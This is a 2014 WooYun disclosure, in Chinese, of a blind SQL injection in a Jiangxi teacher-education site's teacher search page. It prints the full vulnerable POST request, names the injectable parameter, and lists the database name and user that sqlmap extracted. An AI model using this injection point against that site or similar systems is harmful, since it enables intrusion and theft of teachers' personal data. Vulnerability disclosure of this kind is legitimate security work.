当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-058455

漏洞标题:江西教师教育网SQL注射

相关厂商:江西教师教育网

漏洞作者: 路人甲

提交时间:2014-08-14 15:10

修复时间:2014-09-29 18:06

公开时间:2014-09-29 18:06

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:10

漏洞状态:未联系到厂商或者厂商积极忽略

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-08-14: 积极联系厂商并且等待厂商认领中,细节不对外公开
2014-09-29: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

SQL盲注,将会泄露江西省教师的各种信息

详细说明:

http://data.jxteacher.com/search/
江西省教师信息查询页面存在POST型SQL注入漏洞,其POST请求详细信息如下,其中txtKeyword参数存在字符型SQL盲注
POST /search/ HTTP/1.1
Host: data.jxteacher.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:28.0) Gecko/20100101 Firefox/28.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://data.jxteacher.com/search/
Cookie: ASP.NET_SessionId=giuegcqmmdlnbk0hbvgtfmc5
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 907
__VIEWSTATE=%2FwEPDwUJNDgwNDI3NjI4D2QWAgIDD2QWAgIJDzwrABEDAA8WBB4LXyFEYXRhQm91bmRnHgtfIUl0ZW1Db3VudAIBZAEQFgAWABYADBQrAAAWAmYPZBYEAgEPZBYKZg9kFgICAQ8PFgQeC05hdmlnYXRlVXJsBTZ2aWV3Y2VydHMuYXNweD9pZD04ZjY0NTVhZC05NGE4LTQ2ODUtYjcyNy1jNDUwYzFhMTRhZGIeBFRleHQFEjM2MDk4MzAwNDAwMjExMDE0MGRkAgEPDxYCHwMFCeWRqOWwj%2Bm%2BmWRkAgIPDxYCHwMFPOWunOaYpeW4guOAi%2BmrmOWuieW4guOAi%2Baxn%2Bilv%2BWunOaYpemrmOWuieefs%2BiEkeS4reW%2Fg%2BWwj%2BWtpmRkAgMPDxYCHwMFBuWwj%2BWtpmRkAgQPDxYCHwMFDOWwj%2BWtpuaVsOWtpmRkAgIPDxYCHgdWaXNpYmxlaGRkGAEFCWd2VGVhY2hlcg88KwAMAQgCAWQ7AtcmIAqx%2BZdTvnoO0j67egq9YuZ4enssaRHRF0bVnQ%3D%3D&__EVENTVALIDATION=%2FwEdAAdIqOPyeTUZX9yNHhBPhKCkPYhyekUWnTkkNjRCzj%2B13syRwqaaMbxXVBTc8MQF49fKA14KXQyGcaU%2Bic2XSmnAVhW2Dx14E2vTrCPjioKTT7rZiRCqc8WDJESCLLHi21qO1N1XNFmfsMXJasjxX85jx5SpVJ15nuoYXwTKbT1TzsZUeGz0KgFWz%2FPZVVhzQmU%3D&ddlSearchType=5&txtKeyword=360983004002110013&btnSearch=%E6%9F%A5%E6%89%BE
采用sqlmap进行检测的结果

.PNG


读取部分信息以证明漏洞的存在
数据库: current database: 'TIMS20120615'
用户: current user: 'tims2013'
部分表:

.PNG


跑一个表的字段信息:

.PNG


当前数据库中有150多表,盲注慢到死,就这样吧

漏洞证明:

同上

修复方案:

过滤

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

未能联系到厂商或者厂商积极拒绝